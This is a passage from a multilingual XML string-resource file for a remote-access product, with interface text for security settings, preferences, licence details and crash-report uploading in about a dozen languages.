<en>Get a history of your remote login sessions or check your remote computer's status</en>
<de>Übersicht über den Remote-Computers anzeigen</de>
<es>Lea una descripción de los detalles del ordenador remoto</es>
<fr>Voir une vue générale des détails de votre ordinateur distant</fr>
<it>Visualizza una panoramica dei dettagli del computer remoto</it>
<ru>Просмотреть обзор сведений об удаленном компьютере</ru>
<ja>リモート コンピュータの詳細の概要を表示する</ja>
<zh>查看远程计算机详情概述</zh>
<ko>원격 컴퓨터의 세부사항 개요 보기</ko>
<en-gb>See an overview of the remote computer's details</en-gb>
<hu>A távoli számítógép adatainak áttekintése</hu>
<pt-br>Ter uma visão geral dos detalhes do computador remoto</pt-br>
<nl>Een overzicht van de detailgegevens van de externe computer weergeven</nl>
</msg>
<msg name="SECURITY">
<en>View the remote computer's security settings</en>
<de>Sicherheitseinstellungen des Remote-Computers anzeigen</de>
<es>Ver la configuración de seguridad del ordenador remoto</es>
<fr>Paramètres de sécurité de votre ordinateur distant</fr>
<it>Visualizza le impostazioni di protezione del computer remoto</it>
<ru>Просмотреть настройки безопасности удаленного компьютера</ru>
<ja>リモート コンピュータのセキュリティ設定を表示する</ja>
<zh>查看远程计算机的安全设置</zh>
<ko>원격 컴퓨터의 보안 설정 보기</ko>
<en-gb>View the remote computer's security settings</en-gb>
<hu>A távoli számítógép biztonsági beállításai</hu>
<pt-br>Exibir as configurações de segurança do computador remoto</pt-br>
<nl>De beveiligingsinstellingen van de externe computer weergeven</nl>
</msg>
<msg name="PREFER">
<en>Configure %PRODUCTNAME to suit your needs</en>
<de>%PRODUCTNAME nach Ihren Wünschen konfigurieren</de>
<es>Configure %PRODUCTNAME para que se ajuste a sus necesidades</es>
<fr>Configurer %PRODUCTNAME pour répondre à vos exigences</fr>
<it>Configura %PRODUCTNAME in base alle esigenze</it>
<ru>Настроить %PRODUCTNAME под свои нужды</ru>
<ja>%PRODUCTNAME をニーズに合うように設定する</ja>
<zh>配置 %PRODUCTNAME 以满足您的需求</zh>
<ko>필요에 맞추어 %PRODUCTNAME 구성</ko>
<en-gb>Configure %PRODUCTNAME to suit your needs</en-gb>
<hu>A %PRODUCTNAME beállítása az Ön igényei szerint</hu>
<pt-br>Configurar o %PRODUCTNAME conforme suas necessidades</pt-br>
<nl>%PRODUCTNAME configureren volgens uw behoeften</nl>
</msg>
<msg brand="LMI" name="PREFER">
<en>Configure your security, network, log, and remote control settings</en>
<de>%PRODUCTNAME nach Ihren Wünschen konfigurieren</de>
<es>Configure %PRODUCTNAME para que se ajuste a sus necesidades</es>
<fr>Configurer %PRODUCTNAME pour répondre à vos exigences</fr>
<it>Configura %PRODUCTNAME in base alle esigenze</it>
<ru>Настроить %PRODUCTNAME под свои нужды</ru>
<ja>%PRODUCTNAME をニーズに合うように設定する</ja>
<zh>配置 %PRODUCTNAME 以满足您的需求</zh>
<ko>필요에 맞추어 %PRODUCTNAME 구성</ko>
<en-gb>Configure %PRODUCTNAME to suit your needs</en-gb>
<hu>A %PRODUCTNAME beállítása az Ön igényei szerint</hu>
<pt-br>Configurar o %PRODUCTNAME conforme suas necessidades</pt-br>
<nl>%PRODUCTNAME configureren volgens uw behoeften</nl>
</msg>
<msg name="ABOUT">
<en>View your %PRODUCTNAME license file, check the manual, or visit our website</en>
<de>%PRODUCTNAME Lizenzdatei anzeigen, im Handbuch schmökern oder unsere Webseite besuchen.</de>
<es>Vea su archivo de licencia para %PRODUCTNAME, lea el manual o visite nuestra página web</es>
<fr>Consulter les informations sur %PRODUCTNAME (license, manuel, site Web)</fr>
<it>Visualizza il file di licenza di %PRODUCTNAME, controlla il manuale o visita il sito Web</it>
<ru>Просмотрите файл своей лицензии на %PRODUCTNAME, обратитесь к руководству или посетите наш веб-сайт</ru>
<ja>%PRODUCTNAME ライセンス ファイルの表示、マニュアルの確認、または Web サイトの表示をする</ja>
<zh>查看 %PRODUCTNAME 许可证文件、查看手册或访问我们的 Web 站点</zh>
<ko>%PRODUCTNAME 라이센스 파일 보기, 설명서 확인 또는 웹 사이트 방문</ko>
<en-gb>View your %PRODUCTNAME license file, check the manual or visit our website</en-gb>
<hu>Tekintse meg a %PRODUCTNAME licenszfájlt, ellenőrizze a kézikönyvet, vagy látogasson el webhelyünkre</hu>
<pt-br>Exibir o arquivo de licença do %PRODUCTNAME, verificar o manual ou visitar nosso site</pt-br>
<nl>Uw %PRODUCTNAME-licentiebestand weergeven, de handleiding raadplegen of onze website bezoeken</nl>
</msg>
</cat>
<cat name="SECURITY">
<msg name="Select">
<en>Select the security settings you'd like to view or modify from the list below:</en>
<de>Wählen Sie die Sicherheitseinstellungen die Sie einsehen oder ändern möchten aus den folgenden Liste:</de>
<es>Seleccione de la siguiente lista la configuración de seguridad que querría ver o modificar:</es>
<fr>Choisissez les paramètres de sécurité que vous aimeriez voir ou modifier de la liste ci-dessous :</fr>
<it>Seleziona le impostazioni di protezione da visualizzare o modificare dall'elenco seguente:</it>
<ru>Из представленного ниже списка выберите настройки безопасности для просмотра или для изменения:</ru>
<ja>以下のリストから、表示または修正するセキュリティ設定を選択してください :</ja>
<zh>从下面的列表中选择您要查看或修改的安全设置:</zh>
<ko>아래 목록에서 보거나 수정할 보안 설정을 선택합니다.</ko>
<en-gb>Select the security settings you'd like to view or modify from the list below:</en-gb>
<hu>Válassza ki az alábbi listáról azt a biztonsági beállítást, amelyet meg szeretne tekinteni, vagy szerkeszteni kíván:</hu>
<pt-br>Selecionar as configurações de segurança que você gostaria de exibir ou modificar na lista a seguir.</pt-br>
<nl>Selecteer in de onderstaande lijst de beveiligingsinstellingen die u wilt weergeven of wijzigen:</nl>
</msg>
<msg name="IPLockout">
<en>Here you can view which IP addresses have been locked out and modify the settings to lock out potential intruders</en>
<de>Sie können kontrollieren, welche IP-Adressen gesperrt sind und diese Einstellungen ergänzen/ändern um potentielle Einbrecher auszusperren.</de>
<es>Aquí puede ver qué direcciones IP han sido bloqueadas y modificar las configuraciones para bloquear intrusos potenciales</es>
<fr>Vous pouvez voir ici les adresses IP qui ont été bloquées et modifier les réglages pour bloquer  des intrus potentiels.</fr>
<it>È possibile visualizzare gli indirizzi IP bloccati e modificare le impostazioni per bloccare potenziali intrusioni</it>
<ru>Здесь можно просмотреть список заблокированных IP-адресов и изменить настройки для блокировки потенциальных злоумышленников</ru>
<ja>ここでは、どの IP アドレスがロック アウトされているかを確認したり、侵入者をロック アウトするために設定を変更したりできます。</ja>
<zh>您可以在此处查看已锁定哪些 IP 地址并修改设置以锁定可能的入侵者</zh>
<ko>여기서 잠긴 IP 주소를 확인한 후 설정을 수정하여 잠재적인 침입자를 차단할 수 있습니다.</ko>
<en-gb>Here you can view which IP addresses have been locked out and modify the settings to lock out potential intruders</en-gb>
<hu>Itt megtekintheti, hogy mely IP címek vannak zárolva, és módosíthatja a beállításokat, hogy zárolja a lehetséges behatolókat</hu>
<pt-br>Aqui você pode ver quais endereços IP foram bloqueados e modificar as configurações para bloquear potenciais intrusos</pt-br>
<nl>Hiermee kunt u controleren welke IP-adressen zijn geblokkeerd en de instellingen voor het blokkeren van mogelijke indringers wijzigen</nl>
</msg>
<msg name="IPFilter">
<en>Here you can specify which computers are allowed to access your remote system</en>
<de>Hier bestimmen sie, welche Computer auf ihr Remote System zugreifen können</de>
<es>Aquí puede especificar qué ordenadores tienen permiso para acceder a su sistema remoto</es>
<fr>Vous pouvez indiquer ici quels ordinateurs sont autorisés à accéder à votre système à distance</fr>
<it>È possibile specificare i computer ai quali è consentito accedere al sistema remoto</it>
<ru>Здесь можно указать компьютеры, которым разрешается доступ к удаленной системе</ru>
<ja>ここでは、リモート システムへのアクセスを許可するコンピュータを指定することができます。</ja>
<zh>您可以在此处指定允许哪些计算机访问您的远程系统</zh>
<ko>여기서 원격 시스템에 액세스할 수 있는 컴퓨터를 지정할 수 있습니다</ko>
<en-gb>Here you can specify which computers are allowed to access your remote system</en-gb>
<hu>Itt adhatja meg, hogy mely számítógépek rendelkeznek engedéllyel a távoli rendszer eléréséhez</hu>
<pt-br>Aqui você pode especificar quais computadores estão autorizados a acessar seu sistema remoto</pt-br>
<nl>Hiermee kunt u opgeven welke computers toegang krijgen tot uw externe systeem</nl>
</msg>
<msg name="Logs">
<en>%PRODUCTNAME keeps a log of all its activities on the remote machine. You can view them here.</en>
<de>%PRODUCTNAME verwaltet ein Protokoll über alle Aktivitäten. Sie können dieses Protokoll hier anzeigen.</de>
<es>%PRODUCTNAME guarda un registro de todas las actividades que desarrolla en el ordenador remoto. Puede verlos aquí.</es>
<fr>%PRODUCTNAME garde une trace de toutes ses activités sur la machine distante. Vous pouvez les consulter ici.</fr>
<it>%PRODUCTNAME gestisce un registro di tutte le attività sul computer remoto. È possibile visualizzarle qui.</it>
<ru>%PRODUCTNAME поддерживает журнал с описанием всех действий на удаленном компьютере. Описание действий можно посмотреть здесь.</ru>
<ja>%PRODUCTNAME は、リモート マシン上で自身が行ったすべてのアクティビティのログを保存します。そのログはここで確認できます。</ja>
<zh>%PRODUCTNAME 会保持其在远程计算机上所有活动的记录。您可以在此处查看这些记录。</zh>
<ko>%PRODUCTNAME은(는) 모든 활동 로그를 원격 컴퓨터에 보관합니다. 여기서 데이터를 볼 수 있습니다.</ko>
<en-gb>%PRODUCTNAME keeps a log of all its activities on the remote machine. You can view them here.</en-gb>
<hu>A %PRODUCTNAME naplót vezet a távoli gép minden tevékenységéről. Ezt itt tekintheti meg.</hu>
<pt-br>O %PRODUCTNAME mantém um log de todas as suas atividades na máquina remota. Você pode exibi-las aqui.</pt-br>
<nl>%PRODUCTNAME houdt een logboek bij van alle acties die op de externe computer worden uitgevoerd. U kunt deze acties hier weergeven.</nl>
</msg>
<msg name="SSL">
<en>Encrypt all the data that passes to and from your remote machine using industry-strength 128-bit ciphers</en>
<de>Verschlüsselt alle Daten, die zwischen dem lokalen Computer und der Gegenstelle ausgetauscht werden mit 128 Bit Schlüssel</de>
<es>Cifre todos los datos que pasen a su ordenador o a través de su ordenador remoto utilizando cifrados profesionales de 128-bits</es>
<fr>Crypte toutes les données qui proviennent ou arrivent dans votre machine distante en utilisant des clés de cryptages puissants de 128-bit</fr>
<it>Crittografa tutti i dati da e verso il computer remoto mediante crittografia a 128 bit leader del settore</it>
<ru>Шифровать все данные, проходящие через удаленный компьютер, с помощью 128-разрядных шифров.</ru>
<ja>リモート マシンとの間で送受信したすべてのデータを、業界標準の 128 ビット暗号で暗号化する</ja>
<zh>使用行业强制的 128 位密码为传到远程计算机和传自远程计算机的所有数据加密</zh>
<ko>업계 등급 128비트 암호를 사용하여 원격 컴퓨터로 전달되고 원격 컴퓨터에서 전달하는 모든 데이터를 암호화합니다</ko>
<en-gb>Encrypt all the data that passes to and from your remote machine using industry-strength 128-bit ciphers</en-gb>
<hu>Titkosítson minden adatot, amely a távoli gépre vagy onnan érkezik, az ipari 128-bites titkosítással</hu>
<pt-br>Criptografar todos os dados que passam pela sua máquina remota, usando cifras de 128 bits (criptografia de alta segurança de uso no mercado)</pt-br>
<nl>Alle gegevens die van en naar uw extern systeem worden verzonden, coderen met een robuuste 128-bits codeersleutel</nl>
</msg>
</cat>
<cat name="PREF">
<msg name="SELECT">
<en>Set your personal preferences for using %PRODUCTNAME</en>
<de>Nehmen Sie Ihre persönlichen Einstellungen vor, für den sicheren Betrieb mit %PRODUCTNAME</de>
<es>Establezca sus preferencias personales para utilizar %PRODUCTNAME</es>
<fr>Déterminez vos préférences personnelles pour l'usage de %PRODUCTNAME</fr>
<it>Imposta le preferenze personali per l'uso di %PRODUCTNAME</it>
<ru>Задайте личные настройки для использования %PRODUCTNAME</ru>
<ja>%PRODUCTNAME を設定して使用方法をパーソナライズする</ja>
<zh>设置您的个人首选项以便使用 %PRODUCTNAME</zh>
<ko>%PRODUCTNAME을(를) 사용하여 개인 기본 설정을 지정합니다</ko>
<en-gb>Set your personal preferences for using %PRODUCTNAME</en-gb>
<hu>Adja meg személyes beállításait a %PRODUCTNAME használatához</hu>
<pt-br>Definir suas preferências pessoais para uso do %PRODUCTNAME</pt-br>
<nl>Uw persoonlijke voorkeurinstellingen configureren voor het gebruik van %PRODUCTNAME</nl>
</msg>
<msg name="COLORS">
<en>Customize %PRODUCTNAME Personal Edition to your personal taste</en>
<de>Passen Sie %PRODUCTNAME Ihren persönlichen Bedürfnissen an</de>
<es>Personalice %PRODUCTNAME Personal Edition a su gusto</es>
<fr>Adaptez %PRODUCTNAME Personal Edition à votre convenance</fr>
<it>Personalizza %PRODUCTNAME Personal Edition come desiderato</it>
<ru>Настройте %PRODUCTNAME Personal Edition по свому вкусу</ru>
<ja>%PRODUCTNAME パーソナル エディションを好みに合わせてカスタマイズする</ja>
<zh>根据您的个人喜好自定义 %PRODUCTNAME 个人版</zh>
<ko>%PRODUCTNAME Personal Edition을 개인 취향에 맞게 사용자 정의합니다</ko>
<en-gb>Customise %PRODUCTNAME Personal Edition to your personal taste</en-gb>
<hu>A %PRODUCTNAME Personal Edition testreszabása</hu>
<pt-br>Personalizar o %PRODUCTNAME Personal Edition de acordo com suas preferências pessoais</pt-br>
<nl>%PRODUCTNAME Personal Edition aanpassen naar uw eigen voorkeur</nl>
</msg>
<msg name="NET">
<en>View and modify the connection data for your remote machine</en>
<de>Kontrollieren und Ändern Sie die Verbindungsdaten für Ihre Gegenstelle</de>
<es>Vea y modifique los datos de conexión de su ordenador remoto</es>
<fr>Consultez et modifiez les données de connexion de votre machine distante</fr>
<it>Visualizza e modifica i dati di connessione per il computer remoto</it>
<ru>Просмотрите и удалите данные о подключениях удаленного компьютера</ru>
<ja>リモート マシンの接続データを表示して変更する</ja>
<zh>查看和修改远程计算机的连接数据</zh>
<ko>원격 컴퓨터에 대한 연결 데이터를 보고 수정합니다</ko>
<en-gb>View and modify the connection data for your remote machine</en-gb>
<hu>A kapcsolat adatainak megtekintése és módosítása a távoli géphez</hu>
<pt-br>Exibir e modificar os dados de conexão da sua máquina remota</pt-br>
<nl>De verbindingsgegevens voor uw externe computer weergeven en wijzigen</nl>
</msg>
<msg name="LOG">
<en>View and modify your preferred settings for the %PRODUCTNAME log files</en>
<de>Kontrollieren und ändern Sie Sie Ihre Vorzugseinstellungen für die Protokolldateien von %PRODUCTNAME</de>
<es>Vea y modifique su configuración preestablecida para los archivos de registro de %PRODUCTNAME</es>
<fr>Préférences pour les fichiers de notification de %PRODUCTNAME</fr>
<it>Visualizza e modifica le impostazioni preferite per i file di registro di %PRODUCTNAME</it>
<ru>Просмотрите и измените предпочитаемые настройки файлов журнала %PRODUCTNAME</ru>
<ja>%PRODUCTNAME ログ ファイルの設定を表示して変更する</ja>
<zh>查看和修改 %PRODUCTNAME 日志文件的首选设置</zh>
<ko>%PRODUCTNAME 로그 파일에 대해 원하는 설정을 보고 수정합니다</ko>
<en-gb>View and modify your preferred settings for the %PRODUCTNAME log files</en-gb>
<hu>A %PRODUCTNAME naplófájlok kedvenc beállításainak megtekintése és módosítása</hu>
<pt-br>Exibir e modificar suas configurações preferidas dos arquivos de log do %PRODUCTNAME</pt-br>
<nl>Uw voorkeurinstellingen voor de %PRODUCTNAME-logboekbestanden weergeven en wijzigen</nl>
</msg>
<msg name="LICENSE">
<en>Your %PRODUCTNAME license file is stored here</en>
<de>Ihre %PRODUCTNAME Lizenzdatei finden Sie hier</de>
<es>Su archivo de licencia para %PRODUCTNAME está guardado en</es>
<fr>Votre fichier de license de %PRODUCTNAME est stocké ici</fr>
<it>Il file di licenza di %PRODUCTNAME in uso è memorizzato qui</it>
<ru>Файл с лицензией на %PRODUCTNAME хранится здесь</ru>
<ja>%PRODUCTNAME ライセンス ファイルの保存場所</ja>
<zh>您的 %PRODUCTNAME 许可证文件存在此处</zh>
<ko>%PRODUCTNAME 라이센스 파일이 여기에 저장됩니다</ko>
<en-gb>Your %PRODUCTNAME licence file is stored here</en-gb>
<hu>Az Ön %PRODUCTNAME licenszfájlja itt található</hu>
<pt-br>O arquivo de licença do %PRODUCTNAME está armazenado aqui</pt-br>
<nl>Uw %PRODUCTNAME-licentiebestand is hier opgeslagen</nl>
</msg>
<msg name="REMCTRL">
<en>View and modify the preferences for remote control sessions</en>
<de>Kontrollieren und ändern Sie die Einstellungen für die Fernsteuerung</de>
<es>Vea y modifique las preferencias para las sesiones de control remoto</es>
<fr>Consultez et modifiez les préférences pour les sessions d'accès à distance</fr>
<it>Visualizza e modifica le preferenze per le sessioni di controllo remoto</it>
<ru>Просмотреть и изменить предпочтения для сеансов удаленного управления</ru>
<ja>リモート制御セッションの設定を表示して変更する</ja>
<zh>查看和修改远程控制会话的首选项</zh>
<ko>원격 제어 세션의 기본 설정을 보고 수정합니다</ko>
<en-gb>View and modify the preferences for remote control sessions</en-gb>
<hu>A távvezérlési munkamenetek beállításainak megtekintése és módosítása</hu>
<pt-br>Exibir e modificar as preferências das sessões de controle remoto</pt-br>
<nl>De voorkeurinstellingen voor sessies van besturing op afstand weergeven en wijzigen</nl>
</msg>
<msg name="PERM9X">
<en>Set user name and password to access %PRODUCTNAME with</en>
<de>Setzen Sie den Benutzernamen und das Kennwort für den Zugriff auf %PRODUCTNAME</de>
<es>Establezca nombre de usuario y contraseña para acceder a %PRODUCTNAME con</es>
<fr>Déterminez le nom et le mot de passe utilisateur pour accéder à %PRODUCTNAME</fr>
<it>Imposta nome utente e password per l'accesso a %PRODUCTNAME</it>
<ru>Задайте имя пользователя и пароля для доступа %PRODUCTNAME с</ru>
<ja>%PRODUCTNAME にアクセスするためのユーザ名およびパスワードを設定する</ja>
<zh>设置用于访问 %PRODUCTNAME 的用户名和密码</zh>
<ko>%PRODUCTNAME에 액세스하기 위한 사용자 이름 및 암호를 설정합니다</ko>
<en-gb>Set a username and password to access %PRODUCTNAME with</en-gb>
<hu>A %PRODUCTNAME eléréséhez szükséges felhasználói név és jelszó beállítása</hu>
<pt-br>Definir nome de usuário e senha para acessar o %PRODUCTNAME com</pt-br>
<nl>De gebruikersnaam en het wachtwoord opgeven voor de toegang tot %PRODUCTNAME met</nl>
</msg>
</cat>
</cat>
<!-- crash reporting messages -->
<cat name="CRASH">
<msg name="TITLE">
<en>Software Error Detected!</en>
<de>Ein Software Fehler ist aufgetreten!</de>
<es>Se ha detectado un error del programa</es>
<fr>Erreur Logiciel détecté!</fr>
<it>Errore software rilevato</it>
<ru>Обнаружена ошибка в программном обеспечении!</ru>
<ja>ソフトウェア エラーが検出されました。</ja>
<zh>检测到软件错误!</zh>
<ko>소프트웨어 오류가 발견되었습니다!</ko>
<en-gb>Software Error Detected!</en-gb>
<hu>Észlelt szoftverhiba!</hu>
<pt-br>Erro de software detectado!</pt-br>
<nl>Fout in de software gedetecteerd!</nl>
</msg>
<msg name="DESC">
<en>%PRODUCTNAME has detected that a software error has occurred.</en>
<de>%PRODUCTNAME hat das Auftreten eines Softwarefehlers bemerkt.</de>
<es>%PRODUCTNAME ha detectado que ha ocurrido un error de programa.</es>
<fr>%PRODUCTNAME a détecté qu'une erreur logiciel s'est produite.</fr>
<it>%PRODUCTNAME ha rilevato un errore software.</it>
<ru>%PRODUCTNAME обнаружил ошибку в программном обеспечении.</ru>
<ja>%PRODUCTNAME は、ソフトウェア エラーが発生していることを検出しました。</ja>
<zh>%PRODUCTNAME 已检测到发生了软件错误。</zh>
<ko>%PRODUCTNAME이(가) 소프트웨어 오류가 발생했음을 발견했습니다.</ko>
<en-gb>%PRODUCTNAME has detected that a software error has occurred.</en-gb>
<hu>A %PRODUCTNAME észlelte, hogy szoftverhiba történt.</hu>
<pt-br>O %PRODUCTNAME detectou a ocorrência de um erro de software.</pt-br>
<nl>%PRODUCTNAME heeft vastgesteld dat een softwarefout is opgetreden.</nl>
</msg>
<msg name="NOTICE">
<en>It is highly recommended that you report this error to the
software manufacturer.</en>
<de>Wir empfehlen dringlich, dass Sie diesen Fehler dem Hersteller oder Lieferanten der Software berichten.</de>
<es>Se recomienda que informe de este error al
fabricante del programa.</es>
<fr>Il est fortement recommandé que vous rapportiez cette erreur au
fabricant du logiciel.</fr>
<it>Si consiglia di segnalare l'errore al produttore del software.</it>
<ru>Настоятельно рекомендуется сообщить об этой ошибке производителю программного обеспечения.</ru>
<ja>ソフトウェア開発元にこのエラーをレポートすることを強く推奨します。</ja>
<zh>强烈建议您将此错误报告给软件制造商。</zh>
<ko>이 오류를 소프트웨어 제조업체에 보고하는 것이 좋습니다.</ko>
<en-gb>It is highly recommended that you report this error to the
software manufacturer.</en-gb>
<hu>Nyomatékosan ajánlott, hogy ezt a hibát a szoftver
gyártójának jelentse.</hu>
<pt-br>É altamente recomendado que você relate esse erro para o
fabricante do software.</pt-br>
<nl>U wordt aanbevolen deze fout te melden aan de fabrikant van de software.</nl>
</msg>
<msg name="UPLOAD">
<en>Report</en>
<de>Bericht</de>
<es>Informar</es>
<fr>Rapport</fr>
<it>Report</it>
<ru>Отчет</ru>
<ja>レポート</ja>
<zh>报告</zh>
<ko>보고서</ko>
<en-gb>Report</en-gb>
<hu>Jelentés</hu>
<pt-br>Relatório</pt-br>
<nl>Rapport verzenden</nl>
</msg>
<msg name="UPLOAD.DESC">
<en>Please click the "Report" button below to provide diagnostic
information to the manufacturer. The files containing the diagnostic
information are located in the %SRVDIR\\diag directory. These files
will be deleted after the report has been successfully sent, so if you
want to make a copy for your reference, do it now. The diagnostic
files contain one or more stack traces in text format, and might
contain a Windows memory dump of the %PRODUCTNAME process that was taken at
the time the error occurred. This memory dump contains stack variables
as well as other debugging information. The files will be submitted
to the manufacturer using a secure channel.</en>
<de>Bitte klicken Sie auf den "Bericht"-Button, um Diagnoseinformationen für den Hersteller zu erhalten. 
Die Dateien mit den Diagnoseinformationen befinden sich im %SRVDIR\\crash Ordner. 
Diese Dateien werden gelöscht sobald der Bericht erfolgreich versendet wurde. 
Sollten Sie an einer Kopie interessiert sein, dann kopieren Sie diese Dateien jetzt, 
ehe Sie mit dem Bericht fortfahren. Die Diagnosedateien beinhalten einen oder mehrere 
Prozessor Stack Protokolle im Text Format und können einen Windows Speicherauszug 
des %PRODUCTNAME Prozesses einschließen, der zu dem Zeitpunkt aktiv war, an dem der Fehler 
aufgetreten ist. Der Speicherauszug beinhaltet die Stackvariablen und weitere DEBUG 
Informationen. Die Dateien werden dem Hersteller über einen sicheren Kanal übermittelt.</de>
<es>Haga clic en botón "Informar" para ofrecer información de diagnóstico
al fabricante. Los archivos que contienen la información de diagnóstico
están ubicados en el directorio %SRVDIR\\diag. Estos archivos
se eliminarán después de que el informe se haya enviado correctamente, por lo que si
desea hacer una copia para tenerlo como referencia, hágalo ahora. Los archivos de diagnóstico
contienen uno o más marcas de apilamiento en formato texto y podría
contener un vaciado de memoria Windows del proceso de %PRODUCTNAME que se estaba llevando a cabo en
el momento en el que ocurrió el error. Este vaciado de memoria contiene variables de apilamiento
así como otras informaciones de depuración. Los archivos se enviarán
al fabricante utilizando un canal seguro.</es>
<fr>Veuillez cliquer le bouton de "Rapport" ci-dessous afin de fournir des informations
de diagnostiques au fabricant. Les fichiers contenant l'information de diagnostiques
se trouvent dans le dossier %SRVDIR\\crash directory. Ces fichiers
seront supprimés après que le rapport ait été envoyé avec succès, mais si vous
désirez conserver une copie pour vous, faites-le maintenant. Les fichiers de diagnostiques
contiennent une ou plusieurs quantité de traces au format texte, et peuvent contenir
un dépassement de mémoire Windows du processus de %PRODUCTNAME qui a été notifié
lorsque l'erreur s'est produite. Ce dépassement de mémoire contient des variables pile (stack)
tout comme d'autres informations de débogage. Les fichiers seront soumis
au fabricant à l'aide d'un canal sécurisé.</fr>
<it>Fare clic sul pulsante "Report" sottostante per fornire informazioni di diagnostica al produttore. I file contenenti le informazioni di diagnostica si trovano nella directory %SRVDIR\\diag. Dopo l'invio del report i file verranno eliminati: se si desidera effettuarne una copia per consultazione, è opportuno farlo ora. I file diagnostici contengono una o più analisi dello stack in formato di testo e potrebbero contenere un'immagine della memoria in Windows del processo di %PRODUCTNAME in corso nel momento in cui si è verificato l'errore. Questa immagine della memoria contiene variabili di stack e altre informazioni di debug. I file verranno inviati al produttore mediante un canale sicuro.</it>
<ru>Нажмите расположенную ниже кнопку "Отчет", чтобы предоставить производителю диагностическую информацию. Файлы с диагностической информацией находятся в каталоге %SRVDIR\\diag. Эти файлы будут удалены после успешной отправки отчета. Поэтому если хотите сделать копию для себя, делайте это сейчас. Диагностические файлы содержат один или несколько записей изменений стека в текстовом формате и, возможно, содержат дамп памяти Windows процесса %PRODUCTNAME, который был снят при возникновении ошибки. Этот дамп памяти содержит переменные стека, а также другую отладочную информацию. Файлы будут отправлены производителю по безопасному каналу.</ru>
<ja>以下の [レポート] ボタンをクリックして、開発元に診断情報をお知らせください。診断情報を格納するファイルは、%SRVDIR\\diag ディレクトリにあります。 レポートの送信が成功するとこれらのファイルは削除されます。したがって、参照用にコピーを作成する場合は今すぐ作成してください。 診断ファイルには、テキスト形式のスタック トレースが含まれ、さらにエラー発生時に実行された %PRODUCTNAME プロセスの Windows メモリ ダンプが含まれる場合もあります。 このメモリ ダンプには、スタック変数とその他のデバッグ情報が含まれます。ファイルは安全なチャネルを使用して開発元に送信されます。</ja>
<zh>请单击下面的“报告”按钮,将诊断信息提供给制造商。包含诊断信息的文件位于 %SRVDIR\\diag 目录中。成功发送报告后,系统将删除这些文件,因此,如果您要复制一份作为参考,请马上复制。诊断文件以文本格式包含一个或多个堆栈跟踪,并且可能包含发生错误时取得的 %PRODUCTNAME 进程的 Windows 内存转储。此内存转储包含堆栈变量和其他调试信息。文件将通过安全通道提交给制造商。</zh>
<ko>아래 "보고서" 버튼을 클릭하여 제조업체에 진단 정보를 제공하십시오. 진단 정보가 들어 있는 파일은 %SRVDIR\\diag 디렉터리에 있습니다. 보고서를 보낸 후에 해당 파일은 삭제되므로 참조를 위해 복사본을 만들려면 지금 하십시오. 진단 파일은 하나 이상의 스택 추적을 텍스트 형식으로 포함하고 오류가 발생했을 때 사용된 %PRODUCTNAME 프로세스의 Windows 메모리 덤프를 포함할 수 있습니다. 이 메모리 덤프는 스택 변수와 기타 디버깅 정보를 포함합니다. 파일은 보안 채널을 사용하여 제조업체로 제출됩니다.</ko>
<en-gb>Please click the "Report" button below to provide diagnostic information to the manufacturer. The files containing the diagnostic information are located in the %SRVDIR\\diag directory. These files will be deleted after the report has been successfully sent, so if you want to make a copy for your reference, do it now. The diagnostic files contain one or more stack traces in text format and might contain a Windows memory dump of the %PRODUCTNAME process that was taken at the time the error occurred. This memory dump contains stack variables as well as other debugging information. The files will be submitted to the manufacturer using a secure channel.</en-gb>
<hu>Kérem, kattintson a "Jelentés" gombra, hogy diagnosztikai 
információt nyújtson a gyártónak. A diagnosztikai információt tartalmazó
fájlok a %SRVDIR\\diag könyvtárban találhatók. Ezek a fájlok
törlődnek, ha a jelentést sikeresen elküldték, így, ha másolatot
kíván készíteni saját célra, akkor tegye meg azt most. A diagnosztikai 
fájlok egy vagy több veremkiíratást tartalmaznak szöveges formában, és
Windows memória-kiíratást is tartalmazhatnak a(z)  %PRODUCTNAME folyamatról, amely
a hiba előfordulásának idején készült. Ez a memória-kiíratás veremváltozókat
valamint más hibakeresési információt is tartalmaz. A fájlok a gyártónak kerülnek
elküldésre egy biztonságos csatornán keresztül.</hu>
<pt-br>Clique no botão "Relatório" a seguir para fornecer informações de diagnóstico
para o fabricante. Os arquivos que contêm as informações de diagnóstico
estão localizados no diretório %SRVDIR\\diag. Esses arquivos
serão excluídos depois que o relatório for enviado com êxito; portanto, se você
quiser fazer uma cópia para sua referência, faça isso agora. Os arquivos de diagnóstico
contêm um ou mais rastreamentos de pilha em formato de texto e podem
conter um despejo de memória do processo do %PRODUCTNAME que ocorreu no
momento do erro. Esse despejo de memória contém variáveis de pilha
assim como outras informações de depuração. Os arquivos serão enviados
para o fabricante através de um canal seguro.</pt-br>
<nl>Klik hieronder op de knop "Rapport verzenden" om de gegevens van de analyse naar de fabrikant van de software te verzenden. De bestanden waarin de analysegegevens zijn opgeslagen, bevinden zich in de map %SRVDIR\\diag . Deze bestanden worden verwijderd nadat het rapport is verzonden; als u voor eigen gebruik hiervan een kopie wilt maken, moet u dat nu doen. De analysebestanden bevatten een of meer stack-traces in normale tekstindeling en mogelijk ook een geheugendump uit het Windows-geheugen van het %PRODUCTNAME-proces die werd gemaakt op het moment dat de fout is opgetreden. Deze geheugendump bevat de stackvariabelen en andere informatie voor foutopsporing. De bestanden zullen via een beveiligd communicatiekanaal naar de fabrikant worden verzonden.</nl>
</msg>
<msg os="macosx" name="UPLOAD.DESC">
<en>Please click the "Report" button below to provide diagnostic
information to the manufacturer. The files containing the diagnostic
information are located in the  /Library/Logs/CrashReporter/ directory. These files
will be deleted after the report has been successfully sent, so if you
want to make a copy for your reference, do it now. The diagnostic
files contain one or more stack traces in text format, and might
contain a Mac memory dump of the %PRODUCTNAME process that was taken at
the time the error occurred. This memory dump contains stack variables
as well as other debugging information. The files will be submitted
to the manufacturer using a secure channel.</en>
<de>Bitte klicken Sie auf den "Bericht"-Button, um Diagnoseinformationen für den Hersteller zu erhalten. 
Die Dateien mit den Diagnoseinformationen befinden sich im %SRVDIR\\crash Ordner. 
Diese Dateien werden gelöscht sobald der Bericht erfolgreich versendet wurde. 
Sollten Sie an einer Kopie interessiert sein, dann kopieren Sie diese Dateien jetzt, 
ehe Sie mit dem Bericht fortfahren. Die Diagnosedateien beinhalten einen oder mehrere 
Prozessor Stack Protokolle im Text Format und können einen Mac Speicherauszug 
des %PRODUCTNAME Prozesses einschließen, der zu dem Zeitpunkt aktiv war, an dem der Fehler 
aufgetreten ist. Der Speicherauszug beinhaltet die Stackvariablen und weitere DEBUG 
Informationen. Die Dateien werden dem Hersteller über einen sicheren Kanal übermittelt.</de>
<es>Haga clic en botón "Informar" para ofrecer información de diagnóstico
